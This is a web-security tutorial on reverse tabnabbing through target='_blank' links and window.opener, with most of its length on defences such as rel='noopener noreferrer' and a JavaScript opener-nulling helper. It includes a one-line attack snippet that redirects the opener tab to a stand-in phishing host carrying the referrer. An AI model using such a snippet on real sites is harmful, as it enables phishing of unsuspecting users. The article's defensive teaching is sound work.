Technical Article => Web => HTML

When want to open a new page in a new tab on clicking a link on a page, the usual way of achieving this is to use target="_blank" property in a tag. However, the use of this leaves space for phishing website.

Background

parent and opener

Before talking about the opener object, let's know a bit about parent object when using iframe. HTML provides a parent object which is used to communicate between the parent page and the embedded iframe element. This parent object can be accessed using window.parent. Similar to parent, opener can be used to access the window element of the page which opens the current page in an a target="_blank" element.

Same origin and cross origin

Modern browsers provide the protection of cross origin resource access and sharing. When the domains are the same, parent object and opener object will indeed refer to the top window object. While if the domains are different, parent object and opener object refer to a wrapped global object which has limited access to some properties of the top window.

In addition, iframe provides a sandbox property which restricts the access to some properties. It provides a layer of protection to resource even for the same domain pages.

The danger

In case you have target="_blank" property in a link element, when clicking the link, a new page will open in a new tab. If the new page contains malicious code, it may make the original page navigate to a phishing website in background without your notice. When the user tries to get back to the original site, a fake site may be shown instead.

Details

Below shows how this can be done.

1 Assume there is a website named https://exmaple.com and it contains a link element.

<a href="https://an.evil.site" target="_blank">An evil site</a>

2. When user clicks this link, a new tab will show and the page will be opened in the new tab. The new evil site can identify the source of the site through Referer property in HTTP Header. The evil site may have below malicious code

const url = encodeURIComponent('{{header.referer}}'); window.opener.location.replace('https://a.fake.site/?' + url);

3. Now the user is at the new tab, but at the same time, the original tab has been navigated to https://a.fake.site/?https%3A%2F%2Fexample.com%2F.

4. The fake site https://a.fake.site may display a phishing page similar to the one in the query string(The origin site).

5. The user closes the tab showing https://a.fake.site and wants to get back to the original site. It will never succeed anymore.

The above steps are demonstrated when two sites are in different domain. The reason why it works is the opener object can still call location.replace(Though parent cannot). If in the same domain case, the situation would be worse.

Prevention

If it's an iframe, then can use the sandbox property(will not talk more about this here). But if it's a link(The above case), below methods can be adopted.

1. Referrer policy and noreferrer

In above attacking steps, the Referer property in HTTP Header is being utilized. In fact, the response header can be configured in Referrer Policy. This involves backend code change though. An alternative method is to set rel="noreferrer" property.

<a href="https://an.evil.site" target="_blank" rel="noreferrer">An evil site</a>

Note: This cannot prevent the original site is being navigated to a fake site even though referrer policy is configured(This will only make the fake site unaware what phishing page to display).

2. noopener

For security reason, modern browsers all support the rel="noopener" property which will set the opener to null in the new opened page, hence the opener cannot be used anymore.

<a href="https://an.evil.site" target="_blank" rel="noopener">An evil site</a>

3. JavaScript

noopener solves the problem well, but it's not supported in old browsers. In this case, some JavaScript code can be written to prevent the attack.

"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }

Recommendation

When a link has target="_blank" property, please add the rel="noopener" property and it's recommended to have rel="noreferrer" as well.

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">An evil site</a>

Also for SEO consideration, rel="nofollow" is also recommended. Hence the final link would look like

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">An evil site</a>

Performance

One final tip. If a site contains a target="_blank", the new opened tab will impact the original tab. If the new tab executes a long running or resource consuming script, the original tab will become lagging. But if the link has the rel="noopener" property, the two tabs will not interfere with each other.

Reference

https://knownsec-fed.com/2018-03-01-wei-xian-de-targetblank-yu-opener/